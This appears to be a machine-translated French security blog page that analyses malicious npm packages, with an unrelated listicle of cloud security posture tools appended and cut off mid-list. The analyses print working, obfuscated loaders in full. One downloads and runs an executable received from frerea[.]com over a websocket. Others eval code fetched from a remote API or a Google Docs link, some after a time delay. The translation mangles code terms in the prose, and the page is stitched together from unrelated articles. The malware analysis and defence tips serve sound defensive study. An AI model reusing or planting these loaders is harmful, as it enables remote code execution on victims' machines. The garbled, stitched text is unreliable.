new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}
Aha ! il y a une charge utile cachée. Il s'agit d'un blob encodé en base64, qui est décodé, transformé en fonction, puis appelé. Voici la charge utile décodée et embellie.
const {
spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
const t = path.join(process.env.TEMP, `Realktek.exe`),
ws = new WebSocket("wss://frerea[.]com");
ws.on("open", () => {
ws.send(JSON.stringify({
command: "realtek"
}))
});
ws.on("message", m => {
try {
const r = JSON.parse(m);
if (r.type === "realtek" && r.data) {
const b = Buffer.from(r.data, "base64");
fs.writeFileSync(t, b);
spawn("cmd", ["/c", t], {
detached: true,
stdio: "ignore"
}).unref()
}
} catch (e) {
console.error("Error processing WebSocket message:", e)
}
})
})();
Ici, nous voyons que la charge utile se connecte à un serveur distant via websocket et envoie un message. La réponse est ensuite décodée en base64, enregistrée sur le disque et exécutée.
L'assistant trop serviable

Le dernier archétype est celui d'une bibliothèque utile, mais peut-être un peu trop utile pour votre propre bien. L'exemple que nous utiliserons ici est le suivant consolider-logger
paquet. Comme toujours, nous commençons par examiner le package.json
fichier.
{
"name": "consolidate-logger",
"version": "1.0.2",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"axios": "^1.5.0"
},
"keywords": [
"logger"
],
"author": "crouch",
"license": "ISC",
"description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}
Il n'y a pas de crochets de cycle de vie à trouver. C'est un peu étrange. Mais pour une bibliothèque de journalisation, il est un peu étrange de voir une dépendance sur axios
qui est utilisé pour effectuer des requêtes HTTP. De là, nous passons à l'élément index.js
et il s'agit purement d'un fichier qui importe des src/logger.js.
Voyons cela.
const ErrorReport = require("./lib/report");
class Logger {
constructor() {
this.level = 'info';
this.output = null;
this.report = new ErrorReport();
}
configure({ level, output }) {
this.level = level || 'info';
this.output = output ? path.resolve(output) : null;
}
log(level, message) {
const timestamp = new Date().toISOString();
const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;
console.log(logMessage);
}
info(message) {
this.log('info', message);
}
warn(message) {
this.log('warn', message);
}
error(error) {
this.log('error', error.stack || error.toString());
}
debug(message) {
if (this.level === 'debug') {
this.log('debug', message);
}
}
}
module.exports = Logger;
Rien ne saute aux yeux à première vue, mais qu'est-ce qui se passe avec l'importation de Rapport d'erreur
et qu'il soit instancié dans le constructeur sans être utilisé ? Voyons ce que fait la classe.
"use strict";
class ErrorReport {
constructor() {
this.reportErr("");
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('72657175697265'),
g('6178696f73'),
g('676574'),
g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
g('7468656e'),
];
const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
Il y a bien d'autres choses qui se passent ici. Il y a un peu d'obscurcissement, alors voici une version simplifiée.
"use strict";
class ErrorReport {
constructor() {
this.reportErr(""); //
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('require'),
g('axios'),
g('get'),
g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
g('then'),
];
const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
Maintenant, ce que fait ce code est beaucoup plus clair. Dans le constructeur, il s'agit de la fonction reportErr
sans message d'erreur. La fonction est obfusquée et contient les parties nécessaires à l'importation de axios
, de faire une demande d'obtention, puis d'appeler eval()
sur les données renvoyées. La bibliothèque vous aide donc, d'une certaine manière, avec la journalisation. Mais elle est peut-être un peu trop utile, en ce sens qu'elle exécute également un code inattendu au moment de l'exécution lorsque la fonction Enregistreur
est instanciée.
🛡️ Conseils de défense
Pour se défendre contre de tels paquets :
- Toujours vérifier les crochets du cycle de vie en
package.json
. Ils constituent un vecteur d'attaque courant. - Vérifier le nom du repo par rapport à celui du paquet - des différences de nom subtiles sont souvent synonymes de problèmes.
- Méfiez-vous de l'obscurcissement, du code minifié ou des blobs base64 à l'intérieur de petits paquets.
- Utilisez des outils tels que Aikdio Intel pour identifier les paquets douteux.
- Geler les dépendances de production à l'aide de fichiers de verrouillage (
package-lock.json
). - Utilisez un miroir de registre privé ou un pare-feu de paquets (par exemple Artifactory, Snyk Broker) pour contrôler ce qui entre dans votre chaîne d'approvisionnement.

Se cacher et échouer : Logiciels malveillants obscurcis, charges utiles vides et manigances npm
Le 14 mars 2025, nous avons détecté un paquet malveillant sur npm appelé node-facebook-messenger-api
. Au début, il semblait s'agir d'un logiciel malveillant assez banal, mais nous ne pouvions pas dire quel était l'objectif final. Nous n'y avons plus pensé jusqu'au 3 avril 2025, date à laquelle nous avons vu le même acteur de la menace étendre son attaque. Voici un bref aperçu des techniques utilisées par cet attaquant spécifique, et quelques observations amusantes sur la façon dont leurs tentatives d'obscurcissement aboutissent en fait à les rendre encore plus évidentes.
TLDR
node-facebook-messenger-api@4.1.0
déguisé en une enveloppe de messagerie Facebook légitime.axios
et eval()
pour extraire une charge utile d'un lien Google Docs - mais le fichier était vide.zx
pour éviter d'être détectés, en intégrant une logique malveillante qui se déclenche plusieurs jours après la publication.node-smtp-mailer@6.10.0
, usurpation d'identité nodemailer
avec la même logique C2 et le même obscurcissement.hyper-types
), révélant une modèle de signature de faire le lien avec les attentats.
Premiers pas
Tout a commencé le 14 mars à 04:37 UTC, lorsque nos systèmes nous ont alertés sur un paquet suspect. Il a été publié par l'utilisateur victor.ben0825
qui prétend également porter le nom de perusworld
. Il s'agit du nom d'utilisateur de l'utilisateur qui possède le fichier dépôt légitime pour cette bibliothèque.

Voici le code qu'il a détecté comme étant malveillant dans node-facebook-messenger-api@4.1.0 :
dans le fichier messenger.js
, ligne 157-177 :
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
L'attaquant a essayé de cacher ce code dans un fichier de 769 lignes, ce qui est une grande classe. Ici, il a ajouté une fonction et l'appelle directement. Très mignon, mais aussi très évident. Nous avons tenté de récupérer la charge utile, mais elle était vide. Nous l'avons signalé comme un logiciel malveillant et nous sommes passés à autre chose.
Quelques minutes plus tard, l'attaquant a poussé une autre version, 4.1.1. Le seul changement semble se situer au niveau de l'élément README.md
et package.json
où ils ont modifié la version, la description et les instructions d'installation. Étant donné que nous considérons l'auteur comme un mauvais auteur, les paquets à partir de ce moment ont été automatiquement signalés comme des logiciels malveillants.
Essayer d'être sournois
Puis, le 20 mars 2025 à 16:29 UTC, notre système a automatiquement signalé la version 4.1.2
du paquet. Voyons ce qu'il y a de nouveau. Le premier changement se trouve dans node-facebook-messenger-api.js,
qui contient
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
La modification apportée à ce fichier est la dernière ligne. Il ne s'agit pas seulement d'importer le messenger.js
lorsque cela est demandé, c'est toujours fait lorsque le module est importé. C'est astucieux ! L'autre changement concerne ce fichier, messenger.js.
Il a supprimé le code ajouté précédemment et a ajouté ce qui suit aux lignes 197 à 219 :
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Voici un aperçu de ce qu'il fait :
- Il utilise un contrôle temporel pour déterminer s'il faut activer le code malveillant. Il ne s'active qu'environ 4 jours plus tard.
- Au lieu d'utiliser
axios
Il utilise désormais Googlezx
pour récupérer la charge utile malveillante. - Il désactive le mode verbeux, qui est également le mode par défaut.
- Il récupère ensuite le code malveillant
- Il le décode en base64
- Il crée une nouvelle fonction à l'aide de la fonction
Fonction()
qui est en fait équivalent à un constructeureval()
appel. - Il appelle ensuite la fonction, en lui transmettant
exiger
comme argument.
Mais là encore, lorsque nous essayons de récupérer le fichier, nous n'obtenons pas de charge utile. Nous obtenons simplement un fichier vide appelé info.txt.
L'utilisation de zx
est curieux. Nous avons regardé les dépendances, et nous avons remarqué que le paquet original contenait quelques dépendances :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Le paquet malveillant contient les éléments suivants :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Regardez, ils ont ajouté les hyper-types de dépendance. Très intéressant, nous y reviendrons à plusieurs reprises.
Ils frappent encore !
Puis le 3 avril 2025 à 06:46, un nouveau paquet a été publié par l'utilisateur cristr.
Ils ont publié lee paquet
node-smtp-mailer@6.10.0.
Nos systèmes l'ont automatiquement signalé parce qu'il contenait un code potentiellement malveillant. Nous l'avons regardé et nous avons été un peu excités. Le paquet prétend être nodemailer,
mais avec un nom différent.

Notre système a signalé le fichier lib/smtp-pool/index.js.
Nous constatons rapidement que l'attaquant a ajouté du code au bas du fichier légitime, juste avant la dernière ligne de commande. module.exports
. Voici ce qui est ajouté :
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Nous connaissons ce code ! Il est à nouveau horodaté pour ne s'exécuter que 4 jours plus tard. Nous avons essayé avec enthousiasme de récupérer la charge utile, mais nous n'avons reçu qu'un fichier vide appelé débutant.txt.
Booo ! Nous regardons à nouveau les dépendances, pour voir comment elles sont prises en compte zx
. Nous avons noté que la légitime nodemailer
Le paquet a non direct dépendances
, seulement devDependencies
. Mais voici ce que contient le paquet malveillant :
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Voyez-vous une similitude entre ce paquet et le premier paquet que nous avons détecté ? Il s'agit de la même liste de dépendances. Le paquet légitime n'a pas de dépendances, mais le paquet malveillant en a. L'attaquant a simplement copié la liste complète des dépendances de la première attaque dans celle-ci.
Dépendances intéressantes
Alors pourquoi ont-ils abandonné l'utilisation de axios
à zx
pour l'élaboration HTTP
demandes ? Certainement pour éviter d'être détecté. Mais ce qui est intéressant, c'est que zx
n'est pas une dépendance directe. Au lieu de cela, l'attaquant a inclus hyper-types, qui est un paquetage légitime du développeur lukasbach.

Outre le fait que le dépôt référencé n'existe plus, il y a quelque chose d'intéressant à noter ici. Voyez comment il y a 2 personnes à charge
? Devinez de qui il s'agit.

Si l'attaquant avait réellement voulu essayer de dissimuler son activité, il est assez stupide de dépendre d'un paquet dont il est le seul dépendant.
Derniers mots
Bien que l'attaquant à l'origine de ces paquets npm n'ait finalement pas réussi à livrer une charge utile fonctionnelle, sa campagne met en évidence l'évolution constante des menaces de la chaîne d'approvisionnement ciblant l'écosystème JavaScript. Le recours à l'exécution différée, aux importations indirectes et au détournement de dépendances témoigne d'une prise de conscience croissante des mécanismes de détection et d'une volonté d'expérimentation. Mais cela montre également que la sécurité opérationnelle négligée et les schémas répétitifs peuvent encore les trahir. Pour les défenseurs, il s'agit d'un rappel que même les attaques ratées constituent des renseignements précieux. Chaque artefact, chaque astuce d'obscurcissement et chaque dépendance réutilisée nous aide à développer de meilleures capacités de détection et d'attribution. Et surtout, cela renforce la raison pour laquelle la surveillance continue et le signalement automatisé des registres de paquets publics ne sont plus facultatifs, mais essentiels.
Principaux outils de gestion de la sécurité de l'informatique en nuage (CSPM) en 2025
Introduction
Les organisations modernes sont confrontées à une bataille difficile pour gérer la sécurité du cloud en 2025. Avec des architectures multi-cloud et un DevOps rapide, des configurations erronées peuvent se glisser et exposer des actifs critiques. Les outils de gestion de la sécurité du cloud (CSPM) se sont imposés comme des alliés essentiels - en auditant en permanence les environnements cloud pour détecter les risques, en appliquant les meilleures pratiques et en simplifiant la conformité. Cette année, les solutions CSPM ont évolué avec une automatisation avancée et une remédiation pilotée par l'IA pour suivre l'expansion du cloud et les menaces sophistiquées.
Dans ce guide, nous présentons les meilleurs outils CSPM pour aider votre équipe à sécuriser AWS, Azure, GCP et bien plus encore. Nous commençons par une liste complète des solutions CSPM les plus fiables, puis nous décomposons les outils qui conviennent le mieux à des cas d'utilisation spécifiques tels que les développeurs, les entreprises, les startups, les configurations multi-cloud, etc. Si vous le souhaitez, passez directement au cas d'utilisation correspondant ci-dessous.
Qu'est-ce que la gestion de la sécurité dans l'informatique dématérialisée (CSPM) ?
Le Cloud Security Posture Management (CSPM) désigne une catégorie d'outils de sécurité qui surveillent et évaluent en permanence votre infrastructure en nuage pour détecter les mauvaises configurations, les violations de la conformité et les risques de sécurité. Ces outils analysent automatiquement les environnements tels que AWS, Azure et GCP, en comparant les configurations aux meilleures pratiques et cadres du secteur, tels que CIS Benchmarks, SOC 2 et ISO 27001.
Plutôt que de s'appuyer sur des examens manuels ou des audits occasionnels, les outils CSPM fonctionnent en continu, offrant aux équipes de sécurité et DevOps une visibilité en temps réel et des alertes en cas d'exposition potentielle. De nombreux CSPM modernes incluent également l'automatisation de la résolution des problèmes, que ce soit par le biais de remédiations générées par l'IA ou d'intégrations directes avec les pipelines des développeurs.
Pourquoi avez-vous besoin des outils du CSPM ?
Dans les environnements en évolution rapide et natifs de l'informatique en nuage d'aujourd'hui, le CSPM est un élément essentiel de toute stratégie de sécurité. Voici pourquoi :
- Prévenir les mauvaises configurations : Détecter les configurations non sécurisées (comme les buckets S3 ouverts, les rôles IAM trop permissifs ou le stockage non chiffré) avant qu'elles ne deviennent des vecteurs d'intrusion.
- Garantir la conformité : Automatisez l'alignement sur les cadres réglementaires tels que SOC 2, PCI-DSS, NIST et CIS Benchmarks. Générer des rapports d'audit à la demande.
- Améliorer la visibilité : Obtenez une vue centralisée des actifs du cloud et des configurations erronées entre les fournisseurs, ce qui est utile pour les environnements multiclouds.
- Automatiser la remédiation : Gagnez du temps en ingénierie en corrigeant automatiquement les problèmes d'IaC ou d'exécution, ou en envoyant des alertes à des outils tels que Jira ou Slack.
- Évoluez en toute sécurité : Au fur et à mesure que votre infrastructure évolue, les CSPM garantissent que vos contrôles de sécurité suivent, ce qui est essentiel pour les entreprises SaaS et les équipes à croissance rapide.
Pour en savoir plus sur les incidents réels liés au CSPM, lisez le rapport DBIR de Verizon ou découvrez comment les misconfigs restent le principal risque lié à l'informatique dématérialisée, selon la Cloud Security Alliance.
Comment choisir un outil de GPSC
Le choix de la bonne plateforme de GPSC dépend de votre pile de données, de la structure de votre équipe et de vos besoins en matière de réglementation. Voici quelques éléments clés à prendre en compte :
- Couverture du cloud : Prend-il en charge les plates-formes que vous utilisez (SAP, Azure, GCP, etc.) ?
- Intégration CI/CD et IaC : Peut-il scanner Terraform, CloudFormation et s'intégrer à votre pipeline CI/CD?
- Soutien à la conformité : Les normes courantes sont-elles préconfigurées (SOC 2, ISO, HIPAA) et pouvez-vous élaborer vos propres politiques ?
- Qualité des alertes : Fournit-il des alertes exploitables et peu bruyantes, idéalement avec une hiérarchisation en fonction du contexte ?
- Évolutivité et prix : Peut-il évoluer avec votre équipe et propose-t-il une tarification équitable (ou un niveau gratuit)?
Vous souhaitez une plateforme tout-en-un avec analyse IaC, gestion de la posture et remédiation AI ? Les scanners d'Aikido couvrent tous les besoins.
Principaux outils de gestion de la sécurité de l'informatique en nuage (CSPM) en 2025
Nos choix ci-dessous ne sont pas classés mais représentent les solutions CSPM les plus utilisées et les plus fiables pour différents besoins. Chaque section comprend un lien vers la page d'accueil de l'outil pour un accès rapide.

1. Sécurité en aïkido
Aikido est une plateforme tout-en-un qui combine le CSPM avec l'analyse du code, des conteneurs et de l'IaC. Conçue pour la sécurité des développeurs, elle permet de détecter instantanément les erreurs de configuration du cloud et d'y remédier.
Caractéristiques principales :
- Vue unifiée de la sécurité du code au nuage
- Analyse des nuages sans agent sur AWS, Azure, GCP
- Hiérarchisation des fausses pistes en fonction du contexte
- Autofixation en un clic grâce à l'IA
- Intégration CI/CD et Git
Le meilleur pour : Les startups et les équipes de développement à la recherche d'une plateforme intuitive pour sécuriser le code et le cloud rapidement.
Prix : Un niveau gratuit est disponible ; les plans payants s'échelonnent en fonction de l'utilisation.
"Nous avons remplacé trois outils par Aikido - c'est rapide, clair et convivial pour les développeurs. - CTO sur G2

2. Aqua Security
Aqua combine le CSPM avec la protection de l'exécution à travers les conteneurs, le serverless et les VM dans le cloud. Soutenue par des outils open-source tels que Trivy et CloudSploit, elle est idéale pour les équipes DevSecOps.
Caractéristiques principales :
- Visibilité de la posture en temps réel
- Scanner IaC et sécurité des conteneurs
- Prise en charge multi-cloud avec application automatisée des politiques
- Intégration avec les systèmes CI/CD et de billetterie
- Cartographie de la conformité (CIS, PCI, ISO)
Le meilleur pour : Les équipes qui exécutent des applications cloud-natives et Kubernetes en production.
Prix : Options gratuites disponibles pour les logiciels libres ; tarifs d'entreprise sur demande.
"La visibilité du CSPM est fantastique - elle s'intègre bien à nos pipelines de CI. - DevSecOps Lead sur Reddit
3. BMC Helix Cloud Security
Cet outil, qui fait partie de la suite BMC Helix, automatise la conformité et la sécurité du cloud par le biais d'une gouvernance axée sur les politiques dans AWS, Azure et GCP.
Caractéristiques principales :
- Auto-remédiation des infractions
- Politiques préétablies alignées sur les principaux cadres de référence
- Tableaux de bord de conformité en continu
- Intégration étroite avec BMC ITSM
- Rapports unifiés sur la sécurité multicloud
Idéal pour : Les entreprises qui ont besoin d'une conformité automatisée et d'une intégration étroite des flux de travail.
Prix : Axé sur l'entreprise, contacter pour plus de détails.
"Très peu d'efforts pour l'intégrer - fournit une vue d'ensemble de la situation dans les nuages. - Responsable des opérations informatiques sur G2

4. Check Point CloudGuard
CloudGuard est l'offre CNAPP de Check Point avec CSPM intégré. Elle associe l'analyse de la configuration à la détection des menaces à l'aide de son moteur d'intelligence ThreatCloud.
Caractéristiques principales :
- Plus de 400 politiques de conformité prêtes à l'emploi
- CloudBots pour une remédiation automatisée
- Analyse du chemin d'attaque et de l'exposition
- Détection des menaces avec protection pare-feu intégrée
- Tableau de bord multi-cloud
Idéal pour : Les entreprises qui utilisent les outils de pare-feu/endpoint de Check Point et qui recherchent une sécurité unifiée pour le cloud et le réseau.
Prix : Des plans échelonnés sont disponibles auprès des représentants de Check Point.
"L'application des politiques dans tous les nuages en un seul endroit. J'aime aussi les visualisations. - Cloud Security Architect sur Reddit

5. CloudCheckr (Spot by NetApp)
CloudCheckr combine l'optimisation des coûts et le CSPM en une seule plateforme. Il est largement utilisé par les MSP et les équipes SecOps des entreprises pour la gouvernance du cloud.
Caractéristiques principales :
- Plus de 500 contrôles des meilleures pratiques
- Fiches de conformité détaillées
- Moteur de politique personnalisé
- Alertes en temps réel et rapports automatisés
- Gestion des coûts + informations sur la sécurité
Le meilleur pour : Les MSP et les équipes qui recherchent un équilibre entre la sécurité et l'optimisation des dépenses liées au cloud.
Prix : Basé sur l'utilisation du cloud et les dépenses ; contacter le service des ventes.
"La sécurité et la visibilité des coûts dans un seul outil - un énorme gain de temps. - Responsable SecOps sur G2
6. CloudSploit
CloudSploit, qui était à l'origine un projet open-source autonome, est aujourd'hui géré par Aqua Security. Il permet d'analyser sans agent les environnements en nuage à la recherche de configurations erronées.
Caractéristiques principales :
- Source ouverte et communauté d'acteurs
- Analyse AWS, Azure, GCP et OCI
- Correspondance entre les résultats et les critères de référence de l'ECI
- Sorties JSON/CSV pour une intégration facile
- Support CLI et CI/CD
Idéal pour : Les équipes DevOps qui ont besoin d'un scanner simple et scriptable pour valider la posture du cloud.
Prix : Gratuit (open-source) ; version SaaS disponible via Aqua.
"Léger, rapide et étonnamment profond pour un outil gratuit. - Ingénieur DevOps sur Reddit

7. CrowdStrike Falcon Cloud Security
Falcon Cloud Security associe le CSPM à la détection des menaces en cours d'exécution grâce à la technologie EDR et XDR de CrowdStrike, leader sur le marché.
Caractéristiques principales :
- CSPM unifié et protection de la charge de travail
- Détection des menaces en temps réel grâce à l'IA
- Analyse des risques liés à l'identité (CIEM)
- Évaluation de la posture dans les environnements en nuage et les environnements de conteneurs
- Intégration avec la plateforme Falcon de CrowdStrike
Idéal pour : Les équipes de sécurité qui cherchent à combiner la détection des erreurs de configuration avec la prévention des brèches.
Prix : Entreprise ; contacter CrowdStrike.
"Enfin un CSPM doté de réelles capacités de détection, et non d'une simple liste de contrôle. - Analyste de la sécurité sur X
8. Ermétique
Ermetic est une plateforme de sécurité en nuage axée sur l'identité qui combine CSPM et de puissantes capacités CIEM sur AWS, Azure et GCP.
Caractéristiques principales :
- Cartographie des risques liés à l'identité dans le nuage et des voies d'attaque
- Automatisation de la politique du moindre privilège
- Surveillance continue des erreurs de configuration de l'informatique en nuage
- Rapports de conformité détaillés
- Cartographie visuelle des relations entre les actifs
Idéal pour : Les entreprises dotées d'architectures d'identité complexes dans des environnements multicloud.
Prix : SaaS d'entreprise, adapté au volume d'actifs.
"Nous avons découvert des permissions toxiques dont nous ne soupçonnions pas l'existence - Ermetic a réussi à le faire. - Architecte Cloud sur Reddit
9. Fugue (fait maintenant partie de Snyk Cloud)
Fugue se concentre sur la détection des politiques en tant que code et des dérives. Il fait désormais partie de Snyk Cloud, intégrant l'analyse IaC avec CSPM pour un flux DevSecOps complet.
Caractéristiques principales :
- Application de la politique en tant que code basée sur la réglementation
- Détection des dérives entre l'IaC et le nuage déployé
- Visualisation des ressources et des relations dans le nuage
- Cadres de conformité préétablis
- Intégration CI/CD et retour d'information sur les relations publiques
Idéal pour : Les organisations centrées sur les développeurs qui adoptent GitOps ou des flux de travail basés sur des règles en tant que code.
Prix : Inclus dans les plans Snyk Cloud.
"Nous détectons les erreurs de configuration avant qu'elles ne soient mises en service. C'est comme un filtre pour l'infrastructure en nuage". - Ingénieur de plateforme sur G2

10. JupiterOne
JupiterOne propose un CSPM via une approche de gestion des actifs basée sur les graphes. Il construit un graphe de connaissances de tous les actifs et relations du cloud afin d'identifier les risques.
Caractéristiques principales :
- Moteur de requête basé sur les graphes (J1QL)
- Découverte des actifs dans les nuages, les SaaS et les dépôts de code
- Détection des erreurs de configuration en fonction des relations
- Packs de conformité intégrés
- Un volet communautaire gratuit est disponible
Idéal pour : Les équipes de sécurité qui souhaitent bénéficier d'une visibilité totale et d'une souplesse d'interrogation dans des environnements étendus.
Prix : Un niveau gratuit est disponible ; les plans payants s'adaptent au volume d'actifs.
"JupiterOne a permis à notre équipe de bénéficier d'une visibilité sur les actifs. J1QL est puissant. - Responsable SecOps sur G2
11. Dentelle
Lacework est une plateforme CNAPP qui offre un CSPM ainsi qu'une détection des anomalies et une protection de la charge de travail. Sa plate-forme de données Polygraph cartographie les comportements dans votre nuage pour détecter les menaces et les erreurs de configuration.
Caractéristiques principales :
- Surveillance continue de la configuration sur AWS, Azure, GCP
- Détection d'anomalies à l'aide d'un ML et d'une cartographie visuelle de l'histoire
- Protection des charges de travail sans agent (conteneurs, VM)
- Évaluations de la conformité et rapports automatisés
- API et intégrations adaptées à DevOps
Idéal pour : Les équipes qui souhaitent un CSPM combiné à la détection des menaces et à une fatigue minimale des alertes.
Prix : Prix pour les entreprises ; contacter Lacework.
"Le polygraphe visuel à lui seul en vaut la peine - il relie les points entre les résultats mieux que n'importe quel autre outil que nous avons essayé. - Ingénieur en sécurité sur Reddit
12. Microsoft Defender for Cloud
Microsoft Defender for Cloud est le CSPM intégré d'Azure, étendu avec des intégrations pour AWS et GCP. Il vous permet de gérer la posture, les contrôles de conformité et la détection des menaces dans un seul volet.
Caractéristiques principales :
- Secure Score pour l'évaluation de la posture dans le nuage
- Détection des erreurs de configuration dans Azure, AWS et GCP
- Intégration avec Microsoft Defender XDR et Sentinel SIEM
- Remédiation en un clic et recommandations automatisées
- Prise en charge intégrée des normes CIS, NIST et PCI-DSS
Idéal pour : Les entreprises qui utilisent Azure pour la première fois et qui recherchent une gestion de la posture et une protection contre les menaces transparentes et natives.
Prix : Niveau gratuit pour le CSPM ; plans payants pour la protection contre les menaces par ressource.
"Nous suivons notre Secure Score chaque semaine au sein des équipes - c'est très efficace pour conduire des améliorations. - CISO sur G2

13. Prisma Cloud (Palo Alto Networks)
Prisma Cloud est un CNAPP complet qui comprend un CSPM robuste, une analyse IaC et une sécurité de la charge de travail. Il couvre l'ensemble du cycle de vie, du code au nuage.
Caractéristiques principales :
- Surveillance en temps réel de l'état de l'informatique en nuage
- Hiérarchisation des risques à l'aide de l'IA et du contexte des données
- Infrastructure as Code et intégration CI/CD
- Analyse de l'identité et de l'accès, visualisation du chemin d'attaque
- Vastes paquets de conformité et de politiques
Le meilleur pour : Les entreprises qui gèrent des environnements multi-cloud complexes et qui ont besoin d'une visibilité et d'une couverture approfondies.
Prix : Plans modulaires ; axés sur l'entreprise.
"Il a remplacé quatre outils pour nous - nous gérons tout, de la posture aux menaces d'exécution, en un seul endroit." - Responsable DevSecOps sur G2
14. Rôdeur
Prowler est un outil d'audit de sécurité open-source principalement axé sur AWS. Il vérifie votre infrastructure par rapport aux meilleures pratiques et aux cadres réglementaires.
Caractéristiques principales :
- Plus de 250 contrôles liés aux normes CIS, PCI, GDPR, HIPAA
- Outil CLI AWS ciblé avec sortie JSON/HTML
- Support multi-cloud en expansion (base Azure/GCP)
- Intégration facile du pipeline CI/CD
- Prowler Pro disponible pour les rapports SaaS
Le meilleur pour : Les ingénieurs DevOps et les organisations fortement dépendantes d'AWS qui ont besoin d'une analyse open-source personnalisable.
Prix : Gratuit (open-source) ; Prowler Pro est payant.
"L'audit d'AWS est une méthode simple et efficace, indispensable à la mise en place d'une solution. - Ingénieur Cloud sur Reddit

15. Sonrai Security
Sonrai combine le CSPM avec le CIEM et la sécurité des données, en mettant l'accent sur la gouvernance des identités dans le nuage et la prévention de l'exposition des données sensibles.
Caractéristiques principales :
- Analyse des risques liés aux relations d'identité et aux privilèges
- Découverte de données sensibles dans le stockage en nuage
- GPSC et audit de conformité
- Automatisation de l'application du principe du moindre privilège
- Support multicloud et hybride
Idéal pour : Les entreprises qui se concentrent sur la gouvernance des identités, la conformité et la protection des données sensibles résidant dans le nuage.
Prix : Enterprise SaaS ; contacter les ventes.
"Sonrai a permis de déterminer facilement qui peut accéder à quoi et pourquoi - nos auditeurs l'adorent. - Responsable de la conformité de la sécurité sur G2
16. Tenable Cloud Security (Accurics)
Tenable Cloud Security (anciennement Accurics) se concentre sur l'analyse IaC, la détection des dérives et la gestion de la posture. Elle s'intègre bien dans les pipelines GitOps et DevSecOps.
Caractéristiques principales :
- Infrastructure en tant que balayage de codes et application de politiques
- Détection des dérives entre le code et les ressources déployées
